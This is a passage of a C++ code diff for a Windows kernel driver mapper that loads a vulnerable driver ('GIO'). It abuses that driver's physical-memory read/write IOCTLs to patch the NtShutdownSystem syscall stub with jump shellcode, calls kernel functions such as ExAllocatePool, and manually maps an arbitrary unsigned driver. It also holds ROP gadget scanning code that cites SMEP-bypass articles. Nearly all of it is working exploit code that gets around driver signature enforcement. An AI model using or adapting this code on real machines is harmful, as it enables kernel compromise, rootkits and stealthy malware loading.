{
return vdm::read_phys(addr, buffer, size);
};
// write physical memory using the driver...
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
// use VDM to syscall into ExAllocatePool...
vdm::vdm_ctx vdm(_read_phys, _write_phys);
drv::kalloc_t _kalloc = [&](std::size_t size) -> void*
{
using ex_alloc_pool_t =
void* (*)(std::uint32_t, std::uint32_t);
static const auto ex_alloc_pool =
reinterpret_cast<void*>(
utils::kmodule::get_export(
"ntoskrnl.exe", "ExAllocatePool"));
return vdm.syscall<ex_alloc_pool_t>(ex_alloc_pool, NULL, size);
};
// use VDM to syscall into memcpy exported by ntoskrnl.exe...
drv::kmemcpy_t _kmemcpy =
[&](void* dest, const void* src, std::size_t size) -> void*
{
static const auto kmemcpy =
reinterpret_cast<void*>(
utils::kmodule::get_export(
"ntoskrnl.exe", "memcpy"));
return vdm.syscall<decltype(&memcpy)>(kmemcpy, dest, src, size);
};
drv::drv_buffer_t drv_buffer;
utils::open_binary_file(argv[1], drv_buffer);
drv::hmdm_ctx drv_mapper({ _kalloc, _kmemcpy });
const auto [drv_base, drv_entry] = drv_mapper.map_module(drv_buffer);
std::printf("> driver base -> 0x%p, driver entry -> 0x%p\n", drv_base, drv_entry);
// call driver entry... its up to you to do this using whatever method...
// with VDM you can syscall into it... with msrexec you will use msrexec::exec...
const auto entry_result = vdm.syscall<NTSTATUS(*)(std::uintptr_t)>(
reinterpret_cast<void*>(drv_entry), drv_base);
std::printf("> entry result -> 0x%p\n", entry_result);
if (!drv_base || !drv_entry)
{
std::printf("> failed to map driver...\n");
return -1;
}
const auto unload_status = vdm::unload_drv(drv_handle, drv_key);
if (unload_status != STATUS_SUCCESS)
{
std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
return -1;
}
}

@ -0,0 +1,262 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#include <ntstatus.h>
#pragma comment(lib, "ntdll.lib")
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
namespace driver
{
namespace util
{
__forceinline auto delete_service_entry(const std::string& service_name) -> bool
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
__forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
reg_key += service_name;
auto result = RegCreateKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
NULL,
REG_DWORD,
&type_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
NULL,
REG_DWORD,
&error_control_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
NULL,
REG_DWORD,
&start_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
result = RegSetValueExA(
reg_handle,
"ImagePath",
NULL,
REG_SZ,
(std::uint8_t*) drv_path.c_str(),
drv_path.size()
);
if (result != ERROR_SUCCESS)
return false;
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
__forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
return false;
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
return false;
TOKEN_PRIVILEGES token_state{};
token_state.PrivilegeCount = 1;
token_state.Privileges[0].Luid = luid;
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
return false;
CloseHandle(token_handle);
return true;
}
__forceinline auto get_service_image_path(const std::string& service_name) -> std::string
{
HKEY reg_handle;
DWORD bytes_read;
char image_path[0xFF];
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
result = RegGetValueA(
reg_handle,
service_name.c_str(),
"ImagePath",
REG_SZ,
NULL,
image_path,
&bytes_read
);
RegCloseKey(reg_handle);
return std::string(image_path);
}
}
__forceinline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" +
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return NtLoadDriver(&driver_reg_path_unicode);
}
__forceinline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::pair<NTSTATUS, std::string>
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
std::srand(std::time(0));
static const auto randchar = []() -> char
{
const char charset[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
const std::size_t max_index = (sizeof(charset) - 1);
return charset[rand() % max_index];
};
std::string str(length, 0);
std::generate_n(str.begin(), length, randchar);
return str;
};
const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
output_file.close();
return { load(file_path, service_name), service_name };
}
__forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair<NTSTATUS, std::string>
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
__forceinline auto unload(const std::string& service_name) -> NTSTATUS
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(
&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_result =
NtUnloadDriver(&driver_reg_path_unicode);
util::delete_service_entry(service_name);
// sometimes you cannot delete the driver off disk because there are still handles open
// to the driver, this means the driver is still loaded into the kernel...
try
{
std::filesystem::remove(
std::filesystem::temp_directory_path()
.string() + service_name);
}
catch (std::exception& e)
{
return STATUS_ABANDONED;
}
return unload_result;
}
}

@ -0,0 +1,479 @@
/*
WARNING: utils.hpp must be the first file included...
this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
*/
#pragma once
#define _CRT_SECURE_NO_WARNINGS
#pragma comment(lib, "ntdll.lib")
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <tlhelp32.h>
#include <fstream>
#include <functional>
#include <cstdint>
#include <string>
#include <vector>
#include <map>
#define PAGE_4KB 0x1000
#define DBG_PRINT(format, ...) \
std::printf(format, __VA_ARGS__ )
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
{
struct
{
ULONG KvaShadowEnabled : 1;
ULONG KvaShadowUserGlobal : 1;
ULONG KvaShadowPcid : 1;
ULONG KvaShadowInvpcid : 1;
ULONG KvaShadowRequired : 1;
ULONG KvaShadowRequiredAvailable : 1;
ULONG InvalidPteBit : 6;
ULONG L1DataCacheFlushSupported : 1;
ULONG L1TerminalFaultMitigationPresent : 1;
ULONG Reserved : 18;
} KvaShadowFlags;
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
namespace utils
{
inline std::map<std::uintptr_t, std::size_t> pmem_ranges{};
__forceinline auto is_valid(std::uintptr_t addr) -> bool
{
for (auto range : pmem_ranges)
if (addr >= range.first && addr <= range.first + range.second)
return true;
return false;
}
#pragma pack (push, 1)
struct PhysicalMemoryPage//CM_PARTIAL_RESOURCE_DESCRIPTOR
{
uint8_t type;
uint8_t shareDisposition;
uint16_t flags;
uint64_t pBegin;
uint32_t sizeButNotExactly;
uint32_t pad;
static constexpr uint16_t cm_resource_memory_large_40{ 0x200 };
static constexpr uint16_t cm_resource_memory_large_48{ 0x400 };
static constexpr uint16_t cm_resource_memory_large_64{ 0x800 };
uint64_t size()const noexcept
{
if (flags & cm_resource_memory_large_40)
return uint64_t{ sizeButNotExactly } << 8;
else if (flags & cm_resource_memory_large_48)
return uint64_t{ sizeButNotExactly } << 16;
else if (flags & cm_resource_memory_large_64)
return uint64_t{ sizeButNotExactly } << 32;
else
return uint64_t{ sizeButNotExactly };
}
};
static_assert(sizeof(PhysicalMemoryPage) == 20);
#pragma pack (pop)
inline const auto init_ranges = ([&]() -> bool
{
HKEY h_key;
DWORD type, size;
LPBYTE data;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
data = new BYTE[size];
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
DWORD count = *(DWORD*)(data + 16);
auto pmi = data + 24;
for (int dwIndex = 0; dwIndex < count; dwIndex++)
{
#if 0
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
#else
const PhysicalMemoryPage& page{ *(PhysicalMemoryPage*)(pmi - 4) };
pmem_ranges.emplace(page.pBegin, page.size());
#endif
pmi += 20;
}
delete[] data;
RegCloseKey(h_key);
return true;
})();
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)
{
static const auto check_mask =
[&](const char* base, const char* pattern, const char* mask) -> bool
{
for (; *mask; ++base, ++pattern, ++mask)
if (*mask == 'x' && *base != *pattern)
return false;
return true;
};
size -= strlen(mask);
for (auto i = 0; i <= size; ++i)
{
void* addr = (void*)&(((char*)base)[i]);
if (check_mask((char*)addr, pattern, mask))
return reinterpret_cast<std::uintptr_t>(addr);
}
return NULL;
}
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
{
std::ifstream fstr(file, std::ios::binary);
fstr.unsetf(std::ios::skipws);
fstr.seekg(0, std::ios::end);
const auto file_size = fstr.tellg();
fstr.seekg(NULL, std::ios::beg);
data.reserve(static_cast<uint32_t>(file_size));
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
}
inline std::uint32_t get_pid(const char* proc_name)
{
PROCESSENTRY32 proc_info;
proc_info.dwSize = sizeof(proc_info);
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (proc_snapshot == INVALID_HANDLE_VALUE)
return NULL;
Process32First(proc_snapshot, &proc_info);
if (!strcmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
while (Process32Next(proc_snapshot, &proc_info))
{
if (!strcmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
}
CloseHandle(proc_snapshot);
return NULL;
}
namespace kmodule
{
using kmodule_callback_t = std::function<bool(PRTL_PROCESS_MODULE_INFORMATION, const char*)>;
inline void each_module(kmodule_callback_t callback)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
auto status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
auto full_path = std::string(
reinterpret_cast<char*>(
modules->Modules[idx].FullPathName));
if (full_path.find("\\SystemRoot\\") != std::string::npos)
full_path.replace(full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
else if (full_path.find("\\??\\") != std::string::npos)
full_path.replace(full_path.find("\\??\\"),
sizeof("\\??\\") - 1, "");
if (!callback(&modules->Modules[idx], full_path.c_str()))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
inline std::uintptr_t get_base(const char* module_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
auto status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
const auto current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name))
{
const auto result =
reinterpret_cast<std::uint64_t>(
modules->Modules[idx].ImageBase);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
inline std::uintptr_t get_export(const char* module_name, const char* export_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer,
buffer_size,
&buffer_size
);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer,
buffer_size,
&buffer_size
);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
// find module and then load library it
const std::string current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName
);
if (!_stricmp(current_module_name.c_str(), module_name))
{
auto full_path = std::string(
reinterpret_cast<char*>(
modules->Modules[idx].FullPathName));
full_path.replace(full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
const auto module_base =
LoadLibraryExA(
full_path.c_str(),
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
const auto image_base =
reinterpret_cast<std::uintptr_t>(
modules->Modules[idx].ImageBase);
// free the RTL_PROCESS_MODULES buffer...
VirtualFree(buffer, NULL, MEM_RELEASE);
const auto rva =
reinterpret_cast<std::uintptr_t>(
GetProcAddress(module_base, export_name)) -
reinterpret_cast<std::uintptr_t>(module_base);
return image_base + rva;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
}
namespace pe
{
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, std::uintptr_t)>;
// returns an std::vector containing all of the bytes of the section
// and also the RVA from the image base to the beginning of the section...
inline std::pair<std::vector<std::uint8_t>, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name)
{
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
const auto _section_name =
reinterpret_cast<char*>(
section_header[idx].Name);
// sometimes section names are not null terminated...
if (!strncmp(_section_name, section_name, strlen(section_name) - 1))
{
const auto section_base =
reinterpret_cast<std::uint8_t*>(
module_base + section_header[idx].VirtualAddress);
const auto section_end =
reinterpret_cast<std::uint8_t*>(
section_base + section_header[idx].Misc.VirtualSize);
std::vector<std::uint8_t> section_bin(section_base, section_end);
return { section_bin, section_header[idx].VirtualAddress };
}
}
return { {}, {} };
}
inline void each_section(section_callback_t callback, std::uintptr_t module_base)
{
if (!module_base)
return;
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
const auto _section_name =
reinterpret_cast<char*>(
section_header[idx].Name);
// keep looping until the callback returns false...
if (!callback(&section_header[idx], module_base))
return;
}
}
}
namespace rop
{
// https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
// http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1
// just implimented the rop information from these posts...
inline std::uintptr_t find_kgadget(const char* sig, const char* mask)
{
std::uintptr_t result = 0u;
kmodule::each_module(
[&](auto kernel_image, const char* image_name) -> bool
{
utils::pe::each_section(
[&](auto section_header, std::uintptr_t image_base) -> bool
{
if (section_header->Characteristics & IMAGE_SCN_CNT_CODE &&
!(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE))
{
const auto rop_gadget =
utils::scan(image_base + section_header->VirtualAddress,
section_header->Misc.VirtualSize, sig, mask);
if (rop_gadget)
result = (rop_gadget - image_base) +
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
return !rop_gadget;
}
return true;
},
reinterpret_cast<std::uintptr_t>(
LoadLibraryExA(image_name,
NULL, DONT_RESOLVE_DLL_REFERENCES))
);
return !result;
}
);
return result;
}
}
}

File diff suppressed because it is too large Load Diff

@ -0,0 +1,139 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include "../util/utils.hpp"
#include "../util/loadup.hpp"
#include "raw_driver.hpp"
#define MAP_PHYSICAL 0xC3502004
#define UNMAP_PHYSICAL 0xC3502008
#pragma pack (push, 1)
typedef struct _gdrv_t
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t phys_addr;
unsigned long io_space;
unsigned long size;
} gdrv_t, *pgdrv_t;
#pragma pack (pop)
namespace vdm
{
inline HANDLE drv_handle;
__forceinline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
{
const auto [result, key] =
driver::load(
vdm::raw_driver,
sizeof(vdm::raw_driver)
);
if (result != STATUS_SUCCESS)
return { {}, {}, result };
vdm::drv_handle = CreateFileA(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return { vdm::drv_handle, key, result };
}
__forceinline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
{
if (!CloseHandle(drv_handle))
return STATUS_FAIL_CHECK;
return driver::unload(drv_key);
}
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
{
gdrv_t in_buffer;
in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(buffer, out_buffer[0], size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
{
gdrv_t in_buffer;
in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(out_buffer[0], buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
}

@ -0,0 +1,103 @@
#include "vdm_ctx.hpp"
namespace vdm
{
vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
:
read_phys(read_func),
write_phys(write_func)
{
// already found the syscall's physical page...
if (vdm::syscall_address.load())
return;
vdm::ntoskrnl = reinterpret_cast<std::uint8_t*>(
LoadLibraryExA("ntoskrnl.exe", NULL,
DONT_RESOLVE_DLL_REFERENCES));
vdm::nt_rva =
utils::kmodule::get_export(
"ntoskrnl.exe",
syscall_hook.first
) - utils::kmodule::get_base("ntoskrnl.exe");
vdm::nt_page_offset = nt_rva % PAGE_4KB;
// for each physical memory range, make a thread to search it
std::vector<std::thread> search_threads;
for (auto ranges : utils::pmem_ranges)
search_threads.emplace_back(std::thread(
&vdm_ctx::locate_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
}
void vdm_ctx::set_read(read_phys_t& read_func)
{
this->read_phys = read_func;
}
void vdm_ctx::set_write(write_phys_t& write_func)
{
this->write_phys = write_func;
}
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
{
const auto page_data =
reinterpret_cast<std::uint8_t*>(
VirtualAlloc(
nullptr,
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
for (auto page = 0u; page < length; page += PAGE_4KB)
{
if (vdm::syscall_address.load())
break;
if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
continue;
// check the first 32 bytes of the syscall, if its the same, test that its the correct
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32))
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
syscall_address.store(
reinterpret_cast<void*>(
address + page + nt_page_offset));
}
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
}
bool vdm_ctx::valid_syscall(void* syscall_addr) const
{
static std::mutex syscall_mutex;
syscall_mutex.lock();
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
// 0: 48 31 c0 xor rax, rax
// 3 : c3 ret
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode...
read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result == STATUS_SUCCESS;
}
}

@ -0,0 +1,71 @@
#pragma once
#include <windows.h>
#include <string_view>
#include <vector>
#include <thread>
#include <atomic>
#include <mutex>
#include <functional>
#include "../vdm/vdm.hpp"
namespace vdm
{
// change this to whatever you want :^)
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
inline std::atomic<bool> is_page_found = false;
inline std::atomic<void*> syscall_address = nullptr;
inline std::uint16_t nt_page_offset;
inline std::uint32_t nt_rva;
inline std::uint8_t* ntoskrnl;
using read_phys_t = std::function<decltype(vdm::read_phys)>;
using write_phys_t = std::function<decltype(vdm::write_phys)>;
class vdm_ctx
{
public:
explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
void set_read(read_phys_t& read_func);
void set_write(write_phys_t& write_func);
template <class T, class ... Ts>
__forceinline std::invoke_result_t<T, Ts ...> syscall(void* addr, Ts ... args) const
{
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
static std::mutex syscall_mutex;
syscall_mutex.lock();
// jmp [rip+0x0]
std::uint8_t jmp_code[] =
{
0xff, 0x25, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00
};
std::uint8_t orig_bytes[sizeof jmp_code];
*reinterpret_cast<void**>(jmp_code + 6) = addr;
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
// execute hook...
write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
auto result = reinterpret_cast<T>(proc)(args ...);
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result;
}
private:
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
bool valid_syscall(void* syscall_addr) const;
read_phys_t read_phys;
write_phys_t write_phys;
};
}

@ -0,0 +1,61 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30907.101
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HMDM-MSREXEC", "HMDM-MSREXEC\HMDM-MSREXEC.vcxproj", "{CE2C9CF7-F412-475E-BBFB-0A00121264CC}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HMDM-VDM", "HMDM-VDM\HMDM-VDM.vcxproj", "{3B7BF9C3-28E2-4F59-B248-5A079AAB1964}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "drv_example", "drv_example\drv_example.vcxproj", "{4762E003-2349-4AD2-A32B-31F57E895E07}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM = Debug|ARM
Debug|ARM64 = Debug|ARM64
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|ARM = Release|ARM
Release|ARM64 = Release|ARM64
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{CE2C9CF7-F412-475E-BBFB-0A00121264CC}.Debug|ARM.ActiveCfg = Debug|Win32
